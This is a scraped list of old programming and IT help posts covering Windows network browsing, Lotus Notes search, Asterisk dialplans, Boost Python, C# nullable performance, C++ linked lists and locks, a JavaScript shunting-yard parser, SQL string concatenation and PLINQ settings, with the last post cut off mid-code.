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  • See network computer description in Explorer

    - by John Gardeniers
    When viewing the list of network computers in Windows Explorer on a Win 7 machine there appears to be no way of readily seeing the description field, which makes that pretty well useless. I believe this problem started with Vista but I'm seeing it for the first time because I was fortunate enough to skip over Vista. We're currently rolling out Win 7 on new boxes and although I'm changing the naming system to something more sensible, the old boxes have names such as FWS01, FWS02, etc. Managing a network of computers with such names is made more difficult when you can't readily see who's machine each one is. Googling the problem brought up a workaround involving creating a shortcut on an XP machine and copying that to the Win 7 box but that's a long way from ideal. Is there some kind of hack that can be applied to machines, the operator of which needs to be able to see the description field?

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  • Is the iPad in Europe totally unblocked?

    - by Mike
    One fast question: if I buy an iPad 3G in Europe will it work on other places without jailbreak? I ask this because I heard that, in Europe, iPads are not blocked to any telecom but I am not sure about that. On the other hand I am afraid do buy because I know that their cousins, iphones, are blocked to a specific telecom. Another question is regarding activation. As far as I remembered, my iPhone required me to do an activation step on iTunes and I remember it was also activated (or whatever) on the store (I remembered the salesman connected it to a computer and did some stuff before giving me the device). Is the iPad in europe totally free of operator? totally unblocked? thanks.

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  • Lotus Notes: Searching email by fields

    - by themel
    I'm using Lotus Notes 8.5.2 in a large corporate deployment. I'm trying to figure out how to search my email in a structured manner, e.g. by specifying criteria on fields. The help seems to suggest that I can use fields in square brackets and a list of operators, e.g. to find all mail where the From field contains John, I'd search for /[From] CONTAINS John However, I can't get this to work - any operator style query I've tried returns zero documents. "Web-style" queries (e.g. typing John into the search dialog) work, but I'd really prefer a way that would let me search more precisely. Potential issues: I'm assuming that the field names can be taken from the list of things I see when I open a mail and look at its Document Properties. Full text indexing is turned off for my mailbox, and all my attempts to create my own have failed. Does anyone have better information on searching by from/date/subject conditions in Notes?

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  • Should a MobiTex service with a highly resilient website offer content over WAP?

    - by makerofthings7
    I'm trying to offer services over the MobiTex network (also see wiki) and want to reduce double-work. I'm trying to understand if it is a good idea to WAP enable my website. Given that WAP usage is increasing (since MMS is a hybrid of SMS + WAP), and the FCC has required every operator in the 700Mhz range to implement it I'd like to fully understand if there are benefits to the technology for certain critical applications. For example, if GPRS allows SMS traffic, voice, and Data, presumably they are handled by different Gateways. If there is another gateway for WAP traffic I would think that it would act as a backup if the data gateway was overloaded. Are there resiliency benefits to using WAP on a critical website? i.e. Content delivery (push or pull)

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  • asterisk Dial-plan?

    - by Rev
    Hi I want to make a dial plan for asterisk to do this: for incoming-call check the caller-id and if caller id is equal with specific number (for example 666) then hangup that call.(this dial-plan also known as anti ex-girlfriend ) also I wrote this dial-plan for doing this but it doesn't work well.(don't hangup then incoming call from 666 and go to queue macro) [macro-queue] exten => s, 2, Queue(${ARG1}) [default] exten => s, 1, Answer exten => s/666, 2 ,Hangup exten => s, 2, BackGround(welcome) exten => s, 3, Macro(queue,operator)

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  • Build problems when adding `__str__` method to Boost Python C++ class

    - by Rickard
    I have started to play around with boost python a bit and ran into a problem. I tried to expose a C++ class to python which posed no problems. But I can't seem to manage to implement the __str__ functionality for the class without getting build errors I don't understand. I'm using boost 1_42 prebuild by boostpro. I build the library using cmake and the vs2010 compiler. I have a very simple setup. The header-file (tutorial.h) looks like the following: #include <iostream> namespace TestBoostPython{ class TestClass { private: double m_x; public: TestClass(double x); double Get_x() const; void Set_x(double x); }; std::ostream &operator<<(std::ostream &ostr, const TestClass &ts); }; and the corresponding cpp-file looks like: #include <boost/python.hpp> #include "tutorial.h" using namespace TestBoostPython; TestClass::TestClass(double x) { m_x = x; } double TestClass::Get_x() const { return m_x; } void TestClass::Set_x(double x) { m_x = x; } std::ostream &operator<<(std::ostream &ostr, TestClass &ts) { ostr << ts.Get_x() << "\n"; return ostr; } BOOST_PYTHON_MODULE(testme) { using namespace boost::python; class_<TestClass>("TestClass", init<double>()) .add_property("x", &TestClass::Get_x, &TestClass::Set_x) .def(str(self)) ; } The CMakeLists.txt looks like the following: CMAKE_MINIMUM_REQUIRED(VERSION 2.8) project (testme) FIND_PACKAGE( Boost REQUIRED ) FIND_PACKAGE( Boost COMPONENTS python REQUIRED ) FIND_PACKAGE( PythonLibs REQUIRED ) set(Boost_USE_STATIC_LIBS OFF) set(Boost_USE_MULTITHREAD ON) INCLUDE_DIRECTORIES(${Boost_INCLUDE_DIRS}) INCLUDE_DIRECTORIES ( ${PYTHON_INCLUDE_PATH} ) add_library(testme SHARED tutorial.cpp) target_link_libraries(testme ${Boost_PYTHON_LIBRARY}) target_link_libraries(testme ${PYTHON_LIBRARY} The build error I get is the following: Compiling... tutorial.cpp C:\Program Files (x86)\boost\boost_1_42\boost/python/def_visitor.hpp(31) : error C2780: 'void boost::python::api::object_operators::visit(ClassT &,const char *,const boost::python::detail::def_helper &) const' : expects 3 arguments - 1 provided with [ U=boost::python::api::object ] C:\Program Files (x86)\boost\boost_1_42\boost/python/object_core.hpp(203) : see declaration of 'boost::python::api::object_operators::visit' with [ U=boost::python::api::object ] C:\Program Files (x86)\boost\boost_1_42\boost/python/def_visitor.hpp(67) : see reference to function template instantiation 'void boost::python::def_visitor_access::visit,classT>(const V &,classT &)' being compiled with [ DerivedVisitor=boost::python::api::object, classT=boost::python::class_, V=boost::python::def_visitor ] C:\Program Files (x86)\boost\boost_1_42\boost/python/class.hpp(225) : see reference to function template instantiation 'void boost::python::def_visitor::visit>(classT &) const' being compiled with [ DerivedVisitor=boost::python::api::object, W=TestBoostPython::TestClass, classT=boost::python::class_ ] .\tutorial.cpp(29) : see reference to function template instantiation 'boost::python::class_ &boost::python::class_::def(const boost::python::def_visitor &)' being compiled with [ W=TestBoostPython::TestClass, U=boost::python::api::object, DerivedVisitor=boost::python::api::object ] Does anyone have any idea on what went wrrong? If I remove the .def(str(self)) part from the wrapper code, everything compiles fine and the class is usable from python. I'd be very greatful for assistance. Thank you, Rickard

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  • Performance surprise with "as" and nullable types

    - by Jon Skeet
    I'm just revising chapter 4 of C# in Depth which deals with nullable types, and I'm adding a section about using the "as" operator, which allows you to write: object o = ...; int? x = o as int?; if (x.HasValue) { ... // Use x.Value in here } I thought this was really neat, and that it could improve performance over the C# 1 equivalent, using "is" followed by a cast - after all, this way we only need to ask for dynamic type checking once, and then a simple value check. This appears not to be the case, however. I've included a sample test app below, which basically sums all the integers within an object array - but the array contains a lot of null references and string references as well as boxed integers. The benchmark measures the code you'd have to use in C# 1, the code using the "as" operator, and just for kicks a LINQ solution. To my astonishment, the C# 1 code is 20 times faster in this case - and even the LINQ code (which I'd have expected to be slower, given the iterators involved) beats the "as" code. Is the .NET implementation of isinst for nullable types just really slow? Is it the additional unbox.any that causes the problem? Is there another explanation for this? At the moment it feels like I'm going to have to include a warning against using this in performance sensitive situations... Results: Cast: 10000000 : 121 As: 10000000 : 2211 LINQ: 10000000 : 2143 Code: using System; using System.Diagnostics; using System.Linq; class Test { const int Size = 30000000; static void Main() { object[] values = new object[Size]; for (int i = 0; i < Size - 2; i += 3) { values[i] = null; values[i+1] = ""; values[i+2] = 1; } FindSumWithCast(values); FindSumWithAs(values); FindSumWithLinq(values); } static void FindSumWithCast(object[] values) { Stopwatch sw = Stopwatch.StartNew(); int sum = 0; foreach (object o in values) { if (o is int) { int x = (int) o; sum += x; } } sw.Stop(); Console.WriteLine("Cast: {0} : {1}", sum, (long) sw.ElapsedMilliseconds); } static void FindSumWithAs(object[] values) { Stopwatch sw = Stopwatch.StartNew(); int sum = 0; foreach (object o in values) { int? x = o as int?; if (x.HasValue) { sum += x.Value; } } sw.Stop(); Console.WriteLine("As: {0} : {1}", sum, (long) sw.ElapsedMilliseconds); } static void FindSumWithLinq(object[] values) { Stopwatch sw = Stopwatch.StartNew(); int sum = values.OfType<int>().Sum(); sw.Stop(); Console.WriteLine("LINQ: {0} : {1}", sum, (long) sw.ElapsedMilliseconds); } }

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  • Unit Testing Refcounted Critical Section Class

    - by BillyONeal
    Hello all :) I'm looking at a simple class I have to manage critical sections and locks, and I'd like to cover this with test cases. Does this make sense, and how would one go about doing it? It's difficult because the only way to verify the class works is to setup very complicated threading scenarios, and even then there's not a good way to test for a leak of a Critical Section in Win32. Is there a more direct way to make sure it's working correctly? Here's the code: CriticalSection.hpp: #pragma once #include <windows.h> namespace WindowsAPI { namespace Threading { class CriticalSection; class CriticalLock { std::size_t *instanceCount; CRITICAL_SECTION * criticalStructure; bool lockValid; friend class CriticalSection; CriticalLock(std::size_t *, CRITICAL_SECTION *, bool); public: bool IsValid() { return lockValid; }; void Unlock(); ~CriticalLock() { Unlock(); }; }; class CriticalSection { std::size_t *instanceCount; CRITICAL_SECTION * criticalStructure; public: CriticalSection(); CriticalSection(const CriticalSection&); CriticalSection& operator=(const CriticalSection&); CriticalSection& swap(CriticalSection&); ~CriticalSection(); CriticalLock Enter(); CriticalLock TryEnter(); }; }} CriticalSection.cpp: #include "CriticalSection.hpp" namespace WindowsAPI { namespace Threading { CriticalSection::CriticalSection() { criticalStructure = new CRITICAL_SECTION; instanceCount = new std::size_t; *instanceCount = 1; InitializeCriticalSection(criticalStructure); } CriticalSection::CriticalSection(const CriticalSection& other) { criticalStructure = other.criticalStructure; instanceCount = other.instanceCount; instanceCount++; } CriticalSection& CriticalSection::operator=(const CriticalSection& other) { CriticalSection copyOfOther(other); swap(copyOfOther); return *this; } CriticalSection& CriticalSection::swap(CriticalSection& other) { std::swap(other.instanceCount, instanceCount); std::swap(other.criticalStructure, other.criticalStructure); return *this; } CriticalSection::~CriticalSection() { if (!--(*instanceCount)) { DeleteCriticalSection(criticalStructure); delete criticalStructure; delete instanceCount; } } CriticalLock CriticalSection::Enter() { EnterCriticalSection(criticalStructure); (*instanceCount)++; return CriticalLock(instanceCount, criticalStructure, true); } CriticalLock CriticalSection::TryEnter() { bool lockAquired; if (TryEnterCriticalSection(criticalStructure)) { (*instanceCount)++; lockAquired = true; } else lockAquired = false; return CriticalLock(instanceCount, criticalStructure, lockAquired); } void CriticalLock::Unlock() { if (!lockValid) return; LeaveCriticalSection(criticalStructure); lockValid = false; if (!--(*instanceCount)) { DeleteCriticalSection(criticalStructure); delete criticalStructure; delete instanceCount; } } }}

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  • [C++] Producer/Consumer Implementation -- Feedback Wanted

    - by bobber205
    I'm preparing for an interview in a few weeks and I thougth I would give threads in boost a go, as well as do the simple producer/consumer problem I learned in school. Haven't done it quite awhile so I was curious what you guys think of this? What should I add to make it a better example etc. Thanks for the feedback! :) ////////////////////////////////////////////////////////////////////////// boost::mutex bufferMutex; deque<int> buffer; const int maxBufferSize = 5; ////////////////////////////////////////////////////////////////////////// bool AddToBuffer(int i) { if (buffer.size() < maxBufferSize) { buffer.push_back(i); return true; } else { return false; } } bool GetFromBuffer(int& toReturn) { if (buffer.size() == 0) { return false; } else { toReturn = buffer[buffer.size()-1]; buffer.pop_back(); return true; } } struct Producer { int ID; void operator()() { while (true) { boost::mutex::scoped_lock lock(bufferMutex); int num = dice(); bool result = AddToBuffer(num); lock.unlock(); //safe area done if (result) { cout << "Producer " << this->ID << " Added " << num << endl; } else { cout << "!!Buffer was Full!!" << endl; } //Added //Now wait boost::xtime xt; xtime_get( &xt, boost::TIME_UTC); xt.nsec += 1000000 + 100000 * (rand() % 1000); boost::thread::sleep(xt); } } }; struct Consumer { int ID; void operator()() { while (true) { int returnedInt = 0; boost::mutex::scoped_lock lock(bufferMutex); bool result = GetFromBuffer(returnedInt); lock.unlock(); //safe area done if (result) { cout << "\tConsumer " << this->ID << " Took Out " << returnedInt << endl; } else { cout << "!!Buffer was Empty!!" << endl; } //Added //Now wait boost::xtime xt; xtime_get( &xt, boost::TIME_UTC); xt.nsec += 1000000 + 100000 * (rand() % 1000); boost::thread::sleep(xt); } } }; void main() { Producer p, p2; Consumer c, c2; p.ID = 1; p2.ID = 2; c.ID = 1; c2.ID = 2; boost::thread thread1(boost::ref(p)); boost::thread thread2(boost::ref(c)); boost::thread thread3(boost::ref(p2)); boost::thread thread4(boost::ref(c2)); int x; cin >> x; }

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  • Linked List exercise, what am I doing wrong?

    - by Sean Ochoa
    Hey all. I'm doing a linked list exercise that involves dynamic memory allocation, pointers, classes, and exceptions. Would someone be willing to critique it and tell me what I did wrong and what I should have done better both with regards to style and to those subjects I listed above? /* Linked List exercise */ #include <iostream> #include <exception> #include <string> using namespace std; class node{ public: node * next; int * data; node(const int i){ data = new int; *data = i; } node& operator=(node n){ *data = *(n.data); } ~node(){ delete data; } }; class linkedList{ public: node * head; node * tail; int nodeCount; linkedList(){ head = NULL; tail = NULL; } ~linkedList(){ while (head){ node* t = head->next; delete head; if (t) head = t; } } void add(node * n){ if (!head) { head = n; head->next = NULL; tail = head; nodeCount = 0; }else { node * t = head; while (t->next) t = t->next; t->next = n; n->next = NULL; nodeCount++; } } node * operator[](const int &i){ if ((i >= 0) && (i < nodeCount)) throw new exception("ERROR: Invalid index on linked list.", -1); node *t = head; for (int x = i; x < nodeCount; x++) t = t->next; return t; } void print(){ if (!head) return; node * t = head; string collection; cout << "["; int c = 0; if (!t->next) cout << *(t->data); else while (t->next){ cout << *(t->data); c++; if (t->next) t = t->next; if (c < nodeCount) cout << ", "; } cout << "]" << endl; } }; int main (const int & argc, const char * argv[]){ try{ linkedList * myList = new linkedList; for (int x = 0; x < 10; x++) myList->add(new node(x)); myList->print(); }catch(exception &ex){ cout << ex.what() << endl; return -1; } return 0; }

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  • Creating my own Stack

    - by Malaken
    I am creating my own stack for my data structures class. For our assignment we are using the assignment to convert a real-time infix equation into a postfix equation. I thought my program: took input determines if it was digit or number(operand) prints it out determines if input is operator (+,-,/,*) adds to stack or prints out, depending on stack precedence Instead it prints out the operands as expect, but I get this error when I enter an operator .../dorun.sh line 33: 4136 Segmentation fault sh "$" [code] #include using namespace std; class DishWell{ public: char ReturnEnd(){ return Well.back(); } void Push(char x){ Well.push_back(x); } void Pop(){ Well.pop_back(); } bool IsEmpty(){ return Well.empty(); } private: vector<char> Well; }; #include <iostream> bool Precidence(char Input, char Stack){ int InputPrecidence,StackPrecidence; switch (Input){ case '*': InputPrecidence = 4; break; case '/': InputPrecidence = 4; break; case '+': InputPrecidence = 3; break; case '-': InputPrecidence = 3; break; case '(': InputPrecidence = 2; break; default: InputPrecidence = 0; } switch (Stack){ case '*': StackPrecidence = 4; break; case '/': StackPrecidence = 4; break; case '+': StackPrecidence = 3; break; case '-': StackPrecidence = 3; break; case '(': StackPrecidence = 2; break; default: StackPrecidence = 0; } if(InputPrecidence>StackPrecidence) return true; else return false; } int main(int argc, char** argv) { DishWell DishTray; char Input; bool InputFlag; InputFlag = true; while(InputFlag){ cin>>Input; if((((Input>='a'&&Input<='z')||(Input>='A'&&Input<='Z'))|| (Input>='0'&&Input<='9')))//If Digit or Number cout<<Input; if((Input=='*'||Input=='/'||Input=='+'||Input=='-')){//if operand if(Precidence(Input,DishTray.ReturnEnd())) DishTray.Push(Input); else if(!Precidence(Input,DishTray.ReturnEnd())) cout<<Input; } else if(!((((Input>='a'&&Input<='z')||(Input>='A'&&Input<='Z'))|| (Input>='0'&&Input<='9')))||((Input=='*'||Input=='/'||Input=='+'||Input=='-')))//if not digit/numer or operand InputFlag = false; } while(!DishTray.IsEmpty()){ cout<<DishTray.ReturnEnd(); DishTray.Pop(); } return 0; [code] My code is very length, I know, but I appreciate help. Especially any times for efficency or future coding. Thanks again P.S. Dr. Zemoudeh, this is your student Macaire

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  • Grafting LINQ onto C# 2 library

    - by P Daddy
    I'm writing a data access layer. It will have C# 2 and C# 3 clients, so I'm compiling against the 2.0 framework. Although encouraging the use of stored procedures, I'm still trying to provide a fairly complete ability to perform ad-hoc queries. I have this working fairly well, already. For the convenience of C# 3 clients, I'm trying to provide as much compatibility with LINQ query syntax as I can. Jon Skeet noticed that LINQ query expressions are duck typed, so I don't have to have an IQueryable and IQueryProvider (or IEnumerable<T>) to use them. I just have to provide methods with the correct signatures. So I got Select, Where, OrderBy, OrderByDescending, ThenBy, and ThenByDescending working. Where I need help are with Join and GroupJoin. I've got them working, but only for one join. A brief compilable example of what I have is this: // .NET 2.0 doesn't define the Func<...> delegates, so let's define some workalikes delegate TResult FakeFunc<T, TResult>(T arg); delegate TResult FakeFunc<T1, T2, TResult>(T1 arg1, T2 arg2); abstract class Projection{ public static Condition operator==(Projection a, Projection b){ return new EqualsCondition(a, b); } public static Condition operator!=(Projection a, Projection b){ throw new NotImplementedException(); } } class ColumnProjection : Projection{ readonly Table table; readonly string columnName; public ColumnProjection(Table table, string columnName){ this.table = table; this.columnName = columnName; } } abstract class Condition{} class EqualsCondition : Condition{ readonly Projection a; readonly Projection b; public EqualsCondition(Projection a, Projection b){ this.a = a; this.b = b; } } class TableView{ readonly Table table; readonly Projection[] projections; public TableView(Table table, Projection[] projections){ this.table = table; this.projections = projections; } } class Table{ public Projection this[string columnName]{ get{return new ColumnProjection(this, columnName);} } public TableView Select(params Projection[] projections){ return new TableView(this, projections); } public TableView Select(FakeFunc<Table, Projection[]> projections){ return new TableView(this, projections(this)); } public Table Join(Table other, Condition condition){ return new JoinedTable(this, other, condition); } public TableView Join(Table inner, FakeFunc<Table, Projection> outerKeySelector, FakeFunc<Table, Projection> innerKeySelector, FakeFunc<Table, Table, Projection[]> resultSelector){ Table join = new JoinedTable(this, inner, new EqualsCondition(outerKeySelector(this), innerKeySelector(inner))); return join.Select(resultSelector(this, inner)); } } class JoinedTable : Table{ readonly Table left; readonly Table right; readonly Condition condition; public JoinedTable(Table left, Table right, Condition condition){ this.left = left; this.right = right; this.condition = condition; } } This allows me to use a fairly decent syntax in C# 2: Table table1 = new Table(); Table table2 = new Table(); TableView result = table1 .Join(table2, table1["ID"] == table2["ID"]) .Select(table1["ID"], table2["Description"]); But an even nicer syntax in C# 3: TableView result = from t1 in table1 join t2 in table2 on t1["ID"] equals t2["ID"] select new[]{t1["ID"], t2["Description"]}; This works well and gives me identical results to the first case. The problem is if I want to join in a third table. TableView result = from t1 in table1 join t2 in table2 on t1["ID"] equals t2["ID"] join t3 in table3 on t1["ID"] equals t3["ID"] select new[]{t1["ID"], t2["Description"], t3["Foo"]}; Now I get an error (Cannot implicitly convert type 'AnonymousType#1' to 'Projection[]'), presumably because the second join is trying to join the third table to an anonymous type containing the first two tables. This anonymous type, of course, doesn't have a Join method. Any hints on how I can do this?

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  • Where is the mistake ?

    - by mr.bio
    Hi ... i am implementing a simple linked list in c++. I have a mistake and i don't see it :( #include <stdexcept> #include <iostream> struct Node { Node(Node *next, int value): next(next), value(value) { } Node *next; int value; }; class List { Node *first; // Erstes Element , 0 falls die Liste leer ist int len; // Laenge der liste Node *nthNode(int index); // Hilfsfunktion : O( index ) public: // Default - Konstruktor ( Laenge 0): O (1) List():first(0),len(0){ } // Copy - Konstruktor : O(other.len) List(const List & other){ }; // Zuweisungs - Operator O(len +other.len) List &operator=(const List &other) { clear(); if(!other.len) return *this; Node *it = first = new Node(0,other.first->value); for (Node *n = other.first->next; n; n = n->next) { it = it->next = new Node(0, n->value); } len = other.len; return *this; } // Destruktor ( gibt den Speicher von allen Nodes frei ): O( len ) ~List(){ }; // Haengt der Liste ein Element hinten an: O( len ) void push_back(int value){ }; // Fuegt am Anfang der Liste ein Element ein : O (1) void push_front(int value){ Node* front = new Node(0,value); if(first){ first = front; front->next = 0; }else{ front->next = first; first = front; } len++; }; // gibt eine Referenz auf das index -te Element zurueck : O( index ) int &at(int index){ int count = 0 ; int ret ; Node *it = first; for (Node *n = first->next; n; n = n->next) { if(count==index) ret = n->value; count++; } return ret ; }; // Entfernt alle Elemente : O(len) void clear(){ }; // Zeigt alle Elemente an: hier : O( len * len ) void show() { std::cout << " List [" << len << " ]:{ "; for (int i = 0; i < len; ++i) { std::cout << at(i) << (i == len - 1 ? '}' : ','); } std::cout << std::endl; } }; /* * */ int main() { List l; // l. push_back(1); // l. push_back(2); l. push_front(7); l. push_front(8); l. push_front(9); l.show(); // List(l). show(); } it works ... but the output is : List [3 ]:{ 0,134520896,9484585}

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  • Losing data after reading them correct from file

    - by user1388172
    i have the fallowing class of object with a class a data structure which i use in main combined. The ADT(abstract data type) is a linked list. After i read from file the input data and create and object which at print looks just fine after a print. after i push_back() the 3-rd int variable get initializated to 0. So example and code: Example: ex.in: 1 7 31 2 2 2 3 3 3 now i create objects from each line, which at print look as they suppose, but after push_back(): 1 7 0 2 2 0 3 3 0 Class.h: class RAngle { private: int x,y,l,b; public: int solution,prec; RAngle(){ x = y = solution = prec = b = l =0; } RAngle(int i,int j,int k){ x = i; y = j; l = k; solution = 0; prec=0; b=0; } friend ostream& operator << (ostream& out, const RAngle& ra){ out << ra.x << " " << ra.y << " " << ra.l <<endl; return out; } friend istream& operator >>( istream& is, RAngle& ra){ is >> ra.x; is >> ra.y; is >> ra.l; return is ; } }; ADT.h: template <class T> class List { private: struct Elem { T data; Elem* next; }; Elem* first; T pop_front(){ if (first!=NULL) { T aux = first->data; first = first->next; return aux; } T a; return a; } void push_back(T data){ Elem *n = new Elem; n->data = data; n->next = NULL; if (first == NULL) { first = n; return ; } Elem *current; for(current=first;current->next != NULL;current=current->next); current->next = n; } Main.cpp(after i call this function in main which prints object as they suppose to be the x var(from RAngle class) changes to 0 in all cases.) void readData(List <RAngle> &l){ RAngle r; ifstream f_in; f_in.open("ex.in",ios::in); for(int i=0;i<10;++i){ f_in >> r; cout << r; l.push_back(r); }

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  • How can I modify my Shunting-Yard Algorithm so it accepts unary operators?

    - by KingNestor
    I've been working on implementing the Shunting-Yard Algorithm in JavaScript for class. Here is my work so far: var userInput = prompt("Enter in a mathematical expression:"); var postFix = InfixToPostfix(userInput); var result = EvaluateExpression(postFix); document.write("Infix: " + userInput + "<br/>"); document.write("Postfix (RPN): " + postFix + "<br/>"); document.write("Result: " + result + "<br/>"); function EvaluateExpression(expression) { var tokens = expression.split(/([0-9]+|[*+-\/()])/); var evalStack = []; while (tokens.length != 0) { var currentToken = tokens.shift(); if (isNumber(currentToken)) { evalStack.push(currentToken); } else if (isOperator(currentToken)) { var operand1 = evalStack.pop(); var operand2 = evalStack.pop(); var result = PerformOperation(parseInt(operand1), parseInt(operand2), currentToken); evalStack.push(result); } } return evalStack.pop(); } function PerformOperation(operand1, operand2, operator) { switch(operator) { case '+': return operand1 + operand2; case '-': return operand1 - operand2; case '*': return operand1 * operand2; case '/': return operand1 / operand2; default: return; } } function InfixToPostfix(expression) { var tokens = expression.split(/([0-9]+|[*+-\/()])/); var outputQueue = []; var operatorStack = []; while (tokens.length != 0) { var currentToken = tokens.shift(); if (isNumber(currentToken)) { outputQueue.push(currentToken); } else if (isOperator(currentToken)) { while ((getAssociativity(currentToken) == 'left' && getPrecedence(currentToken) <= getPrecedence(operatorStack[operatorStack.length-1])) || (getAssociativity(currentToken) == 'right' && getPrecedence(currentToken) < getPrecedence(operatorStack[operatorStack.length-1]))) { outputQueue.push(operatorStack.pop()) } operatorStack.push(currentToken); } else if (currentToken == '(') { operatorStack.push(currentToken); } else if (currentToken == ')') { while (operatorStack[operatorStack.length-1] != '(') { if (operatorStack.length == 0) throw("Parenthesis balancing error! Shame on you!"); outputQueue.push(operatorStack.pop()); } operatorStack.pop(); } } while (operatorStack.length != 0) { if (!operatorStack[operatorStack.length-1].match(/([()])/)) outputQueue.push(operatorStack.pop()); else throw("Parenthesis balancing error! Shame on you!"); } return outputQueue.join(" "); } function isOperator(token) { if (!token.match(/([*+-\/])/)) return false; else return true; } function isNumber(token) { if (!token.match(/([0-9]+)/)) return false; else return true; } function getPrecedence(token) { switch (token) { case '^': return 9; case '*': case '/': case '%': return 8; case '+': case '-': return 6; default: return -1; } } function getAssociativity(token) { switch(token) { case '+': case '-': case '*': case '/': return 'left'; case '^': return 'right'; } } It works fine so far. If I give it: ((5+3) * 8) It will output: Infix: ((5+3) * 8) Postfix (RPN): 5 3 + 8 * Result: 64 However, I'm struggling with implementing the unary operators so I could do something like: ((-5+3) * 8) What would be the best way to implement unary operators (negation, etc)? Also, does anyone have any suggestions for handling floating point numbers as well? One last thing, if anyone sees me doing anything weird in JavaScript let me know. This is my first JavaScript program and I'm not used to it yet.

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  • Type for use in template object to compare double values

    - by DaClown
    I got this n-dimensional point object: template <class T, unsigned int dimension> class Obj { protected: T coords[dimension]; static const unsigned int size = dimension; public: Obj() { }; Obj(T def) { for (unsigned int i = 0; i < size; ++i) coords[i]=def; }; Obj(const Obj& o) { for (unsigned int i = 0; i < size; ++i) coords[i] = o.coords[i]; } const Obj& operator= (const Obj& rhs) { if (this != &rhs) for (unsigned int i = 0; i < size; ++i) coords[i] = rhs.coords[i]; return *this; } virtual ~Obj() { }; T get (unsigned int id) { if (id >= size) throw std::out_of_range("out of range"); return coords[id]; } void set (unsigned int id, T t) { if (id >= size) throw std::out_of_range("out of range"); coords[id] = t; } }; and a 3D point class which uses Obj as base class: template <class U> class Point3DBase : public Obj<U,3> { typedef U type; public: U &x, &y, &z; public: Point3DBase() : x(Obj<U,3>::coords[0]), y(Obj<U,3>::coords[1]), z(Obj<U,3>::coords[2]) { }; Point3DBase(U def) : Obj<U,3>(def), x(Obj<U,3>::coords[0]), y(Obj<U,3>::coords[1]), z(Obj<U,3>::coords[2]) { }; Point3DBase(U x_, U y_, U z_) : x(Obj<U,3>::coords[0]), y(Obj<U,3>::coords[1]), z(Obj<U,3>::coords[2]) { x = x_; y = y_; z= z_; }; Point3DBase(const Point3DBase& other) : x(Obj<U,3>::coords[0]), y(Obj<U,3>::coords[1]), z(Obj<U,3>::coords[2]) { x = other.x; y = other.y; z = other.z; } // several operators ... }; The operators, basically the ones for comparison, use the simple compare-the-member-object approach like: virtual friend bool operator== (const Point3DBase<U> &lhs, const Point3DBase<U> rhs) { return (lhs.x == rhs.x && lhs.y == rhs.y && lhs.z == rhs.z); } Then it occured to me that for the comparion of double values the simply equality approach is not very useful since double values should be compared with an error margin. What would be the best approach to introduce an error margin into the point? I thought about an epsDouble type as template parameter but I can't figure out how to achieve this.

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  • Problem with incomplete type while trying to detect existence of a member function

    - by abir
    I was trying to detect existence of a member function for a class where the function tries to use an incomplete type. The typedef is struct foo; typedef std::allocator<foo> foo_alloc; The detection code is struct has_alloc { template<typename U,U x> struct dummy; template<typename U> static char check(dummy<void* (U::*)(std::size_t),&U::allocate>*); template<typename U> static char (&check(...))[2]; const static bool value = (sizeof(check<foo_alloc>(0)) == 1); }; So far I was using incomplete type foo with std::allocator without any error on VS2008. However when I replaced it with nearly an identical implementation as template<typename T> struct allocator { T* allocate(std::size_t n) { return (T*)operator new (sizeof(T)*n); } }; it gives an error saying that as T is incomplete type it has problem instantiating allocator<foo> because allocate uses sizeof. GCC 4.5 with std::allocator also gives the error, so it seems during detection process the class need to be completely instantiated, even when I am not using that function at all. What I was looking for is void* allocate(std::size_t) which is different from T* allocate(std::size_t). My questions are (I have three questions, but as they are correlated , so I thought it is better not to create three separate questions). Why MS std::allocator doesn't check for incomplete type foo while instantiating? Are they following any trick which can be implemented ? Why the compiler need to instantiate allocator<T> to check the existence of the function when sizeof is not used as sfinae mechanism to remove/add allocate in the overload resolutions set? It should be noted that, if I remove the generic implementation of allocate leaving the declaration only, and specialized it for foo afterwards such as struct foo{}; template< struct allocator { foo* allocate(std::size_t n) { return (foo*)operator new (sizeof(foo)*n); } }; after struct has_alloc it compiles in GCC 4.5 while gives error in VS2008 as allocator<T> is already instantiated and explicit specialization for allocator<foo> already defined. Is it legal to use nested types for an std::allocator of incomplete type such as typedef foo_alloc::pointer foo_pointer; ? Though it is practically working for me, I suspect the nested types such as pointer may depend on completeness of type it takes. It will be good to know if there is any possible way to typedef such types as foo_pointer where the type pointer depends on completeness of foo. NOTE : As the code is not copy paste from editor, it may have some syntax error. Will correct it if I find any. Also the codes (such as allocator) are not complete implementation, I simplified and typed only the portion which I think useful for this particular problem.

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  • SQL SERVER – Concat Function in SQL Server – SQL Concatenation

    - by pinaldave
    Earlier this week, I was delivering Advanced BI training on the subject of “SQL Server 2008 R2″. I had great time delivering the session. During the session, we talked about SQL Server 2010 Denali. Suddenly one of the attendees suggested his displeasure for the product. He said, even though, SQL Server is now in moving very fast and have proved many times a good enterprise solution, it does not have some basic functions. I naturally asked him for example and he suggested CONCAT() which exists in MySQL and Oracle. The answer is very simple – the equalent function in SQL Server to CONCAT() is ‘+’ (plus operator without quotes). Method 1: Concatenating two strings SELECT 'FirstName' + ' ' + 'LastName' AS FullName Method 2: Concatenating two Numbers SELECT CAST(1 AS VARCHAR(10)) + 'R' + CAST(2 AS VARCHAR(10)) Method 3: Concatenating values from table columns SELECT FirstName + ' ' + LastName FROM AdventureWorks.Person.Contact Well, this may look very simple but sometime it is very difficult to find the information for simple things only. Do you have any such example which you would like to share with community? Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Pinal Dave, SQL, SQL Authority, SQL Query, SQL Scripts, SQL Server, SQL String, SQL Tips and Tricks, T SQL, Technology

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  • Parallelism in .NET – Part 9, Configuration in PLINQ and TPL

    - by Reed
    Parallel LINQ and the Task Parallel Library contain many options for configuration.  Although the default configuration options are often ideal, there are times when customizing the behavior is desirable.  Both frameworks provide full configuration support. When working with Data Parallelism, there is one primary configuration option we often need to control – the number of threads we want the system to use when parallelizing our routine.  By default, PLINQ and the TPL both use the ThreadPool to schedule tasks.  Given the major improvements in the ThreadPool in CLR 4, this default behavior is often ideal.  However, there are times that the default behavior is not appropriate.  For example, if you are working on multiple threads simultaneously, and want to schedule parallel operations from within both threads, you might want to consider restricting each parallel operation to using a subset of the processing cores of the system.  Not doing this might over-parallelize your routine, which leads to inefficiencies from having too many context switches. In the Task Parallel Library, configuration is handled via the ParallelOptions class.  All of the methods of the Parallel class have an overload which accepts a ParallelOptions argument. We configure the Parallel class by setting the ParallelOptions.MaxDegreeOfParallelism property.  For example, let’s revisit one of the simple data parallel examples from Part 2: Parallel.For(0, pixelData.GetUpperBound(0), row => { for (int col=0; col < 